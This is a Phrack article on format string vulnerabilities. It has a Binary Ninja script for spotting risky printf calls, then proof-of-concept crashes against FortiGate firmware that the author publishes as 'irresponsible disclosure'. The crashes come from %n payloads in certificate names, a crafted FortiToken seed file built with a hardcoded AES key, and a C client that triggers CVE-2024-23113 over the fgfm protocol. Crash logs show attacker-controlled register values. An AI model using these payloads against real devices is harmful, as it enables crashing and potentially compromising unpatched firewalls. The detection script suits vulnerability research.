Title : Long Live Format Strings
Author : Mark Remarkable
==Phrack Inc.==
Volume 0x10, Issue 0x47, Phile #0x10 of 0x11
|=-----------------------------------------------------------------------=|
|=--------------------=[ Long Live Format Strings ]=---------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------------=[ Mark Remarkable ]=-------------------------=|
|=-----------------------------------------------------------------------=|
0. Introduction
1. Finding Format String Bugs
2. Beating a Dead Firewall
---[ 0 - Introduction
Format string attacks should be dead. glibc's FORTIFY_SOURCE was released
nearly 20 years ago. It's enabled by default. Vulnerabilities are trivial
to detect with static source code analysis. You have to be actively trying
to make a vulnerable piece of software. And yet, despite the existence of
foolproof protections, we still see multi-billion dollar companies ship
code with obvious format string vulnerabilities.
This article will consist of a few lines of code and a few boring 0-day's,
just to keep the reader interested.
---[ 1 - Finding Format String Bugs
Most format strings are hardcoded, or at least come from a small set of
possible values. The exceptions to this pattern are what introduce format
string bugs. Modern reverse engineering tools make it incredibly easy to
filter format string function calls down to the 1% of exceptions. Although
there are better scripts out there, this simple Binary Ninja script was
good enough to find a few quick 0days
fns={
"printf":0,
"fprintf":1,
"dprintf":1,
"sprintf":1,
"snprintf":2,
"vprintf":0,
"vfprintf":1,
"vsprintf":1,
"vsnprintf":2,
}
def check(function,arg):
for caller in function.caller_sites:
try: inst=caller.mlil.ssa_form
except KeyboardInterrupt as e: return
except Exception: continue
if inst is None: continue
op=inst.operation
if op in (MediumLevelILOperation.MLIL_CALL_SSA,
MediumLevelILOperation.MLIL_CALL_UNTYPED_SSA,
MediumLevelILOperation.MLIL_TAILCALL_SSA):
if len(inst.params)<arg+1: continue
if inst.dest.constant!=function.lowest_address: continue
else: continue
param=inst.params[arg]
possible=param.possible_values
if possible.type in (RegisterValueType.StackFrameOffset,
RegisterValueType.UndeterminedValue):
yield inst.address
for f in functions:
print("-----"+f+"-----)
for ff in bv.get_functions_by_name(f):
for i in check(ff, fns[f]):
print(hex(i))
Put simply, this script checks for every call to a printf-family function,
then checks if the format argument is a constant value, or a stack buffer.
There are, of course, plenty of better tools to perform this kind of basic
static analysis, but I want to make the point that you don't have to be a
skilled exploit dev to find format string bugs in a poorly made piece of
software.
---[ 2 - Beating a Dead Firewall
Running that script against something very secure like the Fortinet
/bin/init binary, you could easily rack up enough CVEs to pad your resume.
Luckily for you, and in the spirit of irresponsible disclosure, I am
publishing a few crashes just for Phrack! Please enjoy two 0day
unauthenticated bugs, and one unauthenticated n-day:
---- [ 2.1 - Certificate Import
I heard somewhere that PKI is important. I wonder what happens if I add
some %n's to the certificate name on import...
1. System -> Certificates -> Create/Import -> Certificate
-> Import Certificate -> Certificate
2. Add a valid certificate file and key file
3. Set the certificate name to %4919$1$c%n%n%n%n%n%n%n%n%n
4. Click create
Internal server error? Let's check the crash log.
# diagnose debug crashlog read
<02946> firmware FortiGate-VM64 v7.2.7,build1577b1577,240131 (GA.M) (Release)
<02946> application httpsd
<02946> *** signal 11 (Segmentation fault) received ***
<02946> Register dump:
<02946> RAX: 0000000010c9dde0 RBX: 0000000010caf09c
<02946> RCX: 00007fffd366e008 RDX: 00007f132d45bfc0
<02946> R08: 0000000010c97050 R09: 00007f132d49abe0
<02946> R10: 0000000000004000 R11: 0000000000000000
<02946> R12: 00007fffd3668570 R13: 0000000000001337
<02946> R14: 0000000000000009 R15: 00000000000006d9
<02946> RSI: 00007fffd366a288 RDI: 00007fffd366e000
<02946> RBP: 00007fffd3668dd0 RSP: 00007fffd3668480
<02946> RIP: 00007f132d346c6c EFLAGS: 0000000000010212
<02946> CS: 0033 FS: 0000 GS: 0000
<02946> Trap: 000000000000000e Error: 0000000000000004
<02946> OldMask: 0000000000000000
<02946> CR2: 00007fffd366e000
<02946> stack: 0x7fffd3668480 - 0x7fffd366d490
<02946> Backtrace:
<02946> [0x7f132d346c6c] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
00064c6c
<02946> [0x7f132d34905d] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
0006705d
<02946> [0x7f132d35c826] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
0007a826
<02946> [0x7f132d335d42] => /usr/lib/x86_64-linux-gnu/libc.so.6
(__snprintf+0x00000092) liboffset 00053d42
<02946> [0x0222351b] => /bin/httpsd
<02946> [0x02223a65] => /bin/httpsd
<02946> [0x00ddb567] => /bin/httpsd
<02946> [0x00d08dc4] => /bin/httpsd
<02946> [0x00d09419] => /bin/httpsd
<02946> [0x00d0b547] => /bin/httpsd
<02946> [0x00d0d01d] => /bin/httpsd
<02946> [0x00caeef9] => /bin/httpsd
<02946> [0x00e9984a] => /bin/httpsd (ap_run_handler+0x0000004a)
<02946> [0x00e9a0a6] => /bin/httpsd (ap_invoke_handler+0x000000c6)
<02946> [0x00ee1ec9] => /bin/httpsd
<02946> [0x00ee2111] => /bin/httpsd (ap_process_request+0x00000021)
<02946> [0x00eda23f] => /bin/httpsd
<02946> [0x00e9e0aa] => /bin/httpsd (ap_run_process_connection+0x0000004a)
<02946> [0x00eb3cb7] => /bin/httpsd
<02946> [0x00eb3f86] => /bin/httpsd
<02946> [0x00eb4174] => /bin/httpsd
<02946> [0x00eb47ad] => /bin/httpsd
<02946> [0x00eafa51] => /bin/httpsd (ap_run_mpm+0x00000061)
<02946> [0x00eaf586] => /bin/httpsd
<02946> [0x00449f6f] => /bin/httpsd
<02946> [0x0044f498] => /bin/httpsd
<02946> [0x0044fc8a] => /bin/httpsd
<02946> [0x004524af] => /bin/httpsd
<02946> [0x00452dd9] => /bin/httpsd
<02946> [0x7f132d305deb] => /usr/lib/x86_64-linux-gnu/libc.so.6
(__libc_start_main+0x000000eb) liboffset 00023deb
<02946> [0x004450da] => /bin/httpsd
R13 contains 0x1337, which just so happens to be the exact number of bytes
we just printed with %4919$1$c. Looks like a vuln to me!
---- [ 2.2 - FortiToken import
MFA solves all security problems, and Fortinet makes MFA easy with
FortiTokens. Let's generate some FortiToken seed files:
----- ftk.py -----
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# lol hardcoded key
FTK_KEY="3F2FE4F6E40B53CFF0B5948993F4D4AB369C7F0375FDC92D64CB3E8880FFAE4E"
FTK_KEY=bytes.fromhex(FTK_KEY)
format_str=b'%4919$1$c%n%n%n '
iv=b'\0'*16
a=Cipher(algorithms.AES(FTK_KEY), modes.CBC(iv), backend=default_backend())
e=a.encryptor()
ct=e.update(format_str)
ciphertext=base64.b64encode(ct).decode()
print(f"FTK00000000000EA,{ciphertext},{iv.hex()}")
------ ftk.py -----
$ python3 ftk.py > poc.ftk
Importing a seed file is easy:
1. User & Authentication -> FortiTokens -> Create New -> Import -> Seed File
2. Upload poc.ftk
Hmm... what's this? Another error? Let's see what the crashlog has to say:
<02664> firmware FortiGate-VM64 v7.2.7,build1577b1577,240131 (GA.M) (Release)
<02664> application httpsd
<02664> *** signal 11 (Segmentation fault) received ***
<02664> Register dump:
<02664> RAX: 0000000010da2830 RBX: 0000000010db020c
<02664> RCX: 00007ffd536af008 RDX: 00007fd3f60e3fc0
<02664> R08: 0000000010d981c0 R09: 00007fd3f6122be0
<02664> R10: 0000000000000010 R11: 0000000000000000
<02664> R12: 00007ffd536a7900 R13: 0000000000001337
<02664> R14: 0000000000000004 R15: 0000000000000a67
<02664> RSI: 00007ffd536a9618 RDI: 00007ffd536af000
<02664> RBP: 00007ffd536a8160 RSP: 00007ffd536a7810
<02664> RIP: 00007fd3f5fcec6c EFLAGS: 0000000000010212
<02664> CS: 0033 FS: 0000 GS: 0000
<02664> Trap: 000000000000000e Error: 0000000000000004
<02664> OldMask: 0000000000000000
<02664> CR2: 00007ffd536af000
<02664> stack: 0x7ffd536a7810 - 0x7ffd536acfc0
<02664> Backtrace:
<02664> [0x7fd3f5fcec6c] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
00064c6c
<02664> [0x7fd3f5fd105d] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
0006705d
<02664> [0x7fd3f5fe4826] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
0007a826
<02664> [0x7fd3f5fbdd42] => /usr/lib/x86_64-linux-gnu/libc.so.6
(__snprintf+0x00000092) liboffset 00053d42
<02664> [0x0290048a] => /bin/httpsd
<02664> [0x00de6fbd] => /bin/httpsd
<02664> [0x00d08dc4] => /bin/httpsd
<02664> [0x00d09419] => /bin/httpsd
<02664> [0x00d0b547] => /bin/httpsd
<02664> [0x00d0d01d] => /bin/httpsd
<02664> [0x00caeef9] => /bin/httpsd
<02664> [0x00e9984a] => /bin/httpsd (ap_run_handler+0x0000004a)
<02664> [0x00e9a0a6] => /bin/httpsd (ap_invoke_handler+0x000000c6)
<02664> [0x00ee1ec9] => /bin/httpsd
<02664> [0x00ee2111] => /bin/httpsd (ap_process_request+0x00000021)
<02664> [0x00eda23f] => /bin/httpsd
<02664> [0x00e9e0aa] => /bin/httpsd (ap_run_process_connection+0x0000004a)
<02664> [0x00eb3cb7] => /bin/httpsd
<02664> [0x00eb3f86] => /bin/httpsd
<02664> [0x00eb3fcb] => /bin/httpsd
<02664> [0x00eb48e5] => /bin/httpsd
<02664> [0x00eafa51] => /bin/httpsd (ap_run_mpm+0x00000061)
<02664> [0x00eaf586] => /bin/httpsd
<02664> [0x00449f6f] => /bin/httpsd
<02664> [0x0044f498] => /bin/httpsd
<02664> [0x0044fc8a] => /bin/httpsd
<02664> [0x004524af] => /bin/httpsd
<02664> [0x00452dd9] => /bin/httpsd
<02664> [0x7fd3f5f8ddeb] => /usr/lib/x86_64-linux-gnu/libc.so.6
(__libc_start_main+0x000000eb) liboffset 00023deb
<02664> [0x004450da] => /bin/httpsd
Unsurprisingly, this crash looks almost identical to the last one. The only
difference is the stack trace, which shows
(__snprintf+0x00000092) liboffset 00053d42
[0x0290048a] => /bin/httpsd
[0x00de6fbd] => /bin/httpsd
[0x00d08dc4] => /bin/httpsd
rather than
(__snprintf+0x00000092) liboffset 00053d42
[0x0222351b] => /bin/httpsd
[0x02223a65] => /bin/httpsd
[0x00ddb567] => /bin/httpsd
---- [ 2.3 - CVE-2024-23113
Does CVE-2024-23113 sound too complicated? In reality, it's as shrimple as
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
char *payload=\
"reply 200\r\n"\
"request=auth\r\n"\
"mgmtip=%270441$1$c%n%n%n%n%n%n%n%n%n%n\r\n"\
"\r\n";
#define HOST "69.69.69.69"
#define PORT 541
#define KEYFILE "key.pem"
#define CERTFILE "cert.pem"
void main(){
int sock;
struct sockaddr_in sa={0};
SSL_CTX *ctx;
SSL *ssl;
const SSL_METHOD *method;
uint32_t len_be;
char *fgfm_magic="\x36\xe0\x11\x00";
method=TLS_server_method();
ctx=SSL_CTX_new(method);
SSL_CTX_use_certificate_file(ctx, CERTFILE, SSL_FILETYPE_PEM);
SSL_CTX_use_PrivateKey_file(ctx, KEYFILE, SSL_FILETYPE_PEM);
sock=socket(AF_INET, SOCK_STREAM, 0);
sa.sin_family=AF_INET;
sa.sin_port=htons(PORT);
sa.sin_addr.s_addr=inet_addr(HOST);
connect(sock, &sa, sizeof(struct sockaddr));
ssl=SSL_new(ctx);
SSL_set_fd(ssl, sock);
if(SSL_accept(ssl)<=0)
ERR_print_errors_fp(stderr);
else{
len_be=htonl(strlen(payload)+1+8);
SSL_write(ssl, fgfm_magic, 4);
SSL_write(ssl, &len_be, 4);
SSL_write(ssl, payload, strlen(payload)+1);
}
SSL_shutdown(ssl);
SSL_free(ssl);
close(sock);
SSL_CTX_free(ctx);
}
Just change the HOST and provide a key.pem/cert.pem. The hardest part about
developing a crash POC was realizing the TCP client is acting as the TLS
server. The protocol itself is just a magic number, size field, and
text-based body.
<23066> firmware FortiGate-VM64 v7.2.4,build1396b1396,230131 (GA.F)
(Release)
<23066> application fgfmsd
<23066> *** signal 11 (Segmentation fault) received ***
<23066> Register dump:
<23066> RAX: 00007f652c3d2040 RBX: 00007f652c8f7844
<23066> RCX: 00007ffd3fe86008 RDX: 00007f6531e7afc0
<23066> R08: 00007f652c3cf010 R09: 0000000000000000
<23066> R10: 0000000000000022 R11: 0000000000000246
<23066> R12: 00007ffd3fe83780 R13: 0000000000042069
<23066> R14: 000000000000000b R15: 0000000000000303
<23066> RSI: 00007ffd3fe84138 RDI: 00007ffd3fe86000
<23066> RBP: 00007ffd3fe83fe0 RSP: 00007ffd3fe83690
<23066> RIP: 00007f6531d65c6c EFLAGS: 0000000000010212
<23066> CS: 0033 FS: 0000 GS: 0000
<23066> Trap: 000000000000000e Error: 0000000000000004
<23066> OldMask: 0000000000000000
<23066> CR2: 00007ffd3fe86000
<23066> stack: 0x7ffd3fe83690 - 0x7ffd3fe854d0
<23066> Backtrace:
<23066> [0x7f6531d65c6c] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
00064c6c
<23066> [0x7f6531d6805d] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
0006705d
<23066> [0x7f6531d7b826] => /usr/lib/x86_64-linux-gnu/libc.so.6 liboffset
0007a826
<23066> [0x7f6531d54d42] => /usr/lib/x86_64-linux-gnu/libc.so.6
(__snprintf+0x00000092) liboffset 00053d42
<23066> [0x00acc6aa] => /bin/fgfmd
<23066> [0x00acd30c] => /bin/fgfmd
<23066> [0x00acdcef] => /bin/fgfmd
<23066> [0x00aee12a] => /bin/fgfmd
<23066> [0x00ae8674] => /bin/fgfmd
<23066> [0x00ad60ba] => /bin/fgfmd
<23066> [0x00ae1d11] => /bin/fgfmd
<23066> [0x00449eaf] => /bin/fgfmd
<23066> [0x004531da] => /bin/fgfmd
<23066> [0x0044fd9c] => /bin/fgfmd
<23066> [0x00452428] => /bin/fgfmd
<23066> [0x00452d71] => /bin/fgfmd
<23066> [0x7f6531d24deb] => /usr/lib/x86_64-linux-gnu/libc.so.6
(__libc_start_main+0x000000eb) liboffset 00023deb
<23066> [0x00444f1a] => /bin/fgfmd
|=[ EOF ]=---------------------------------------------------------------=|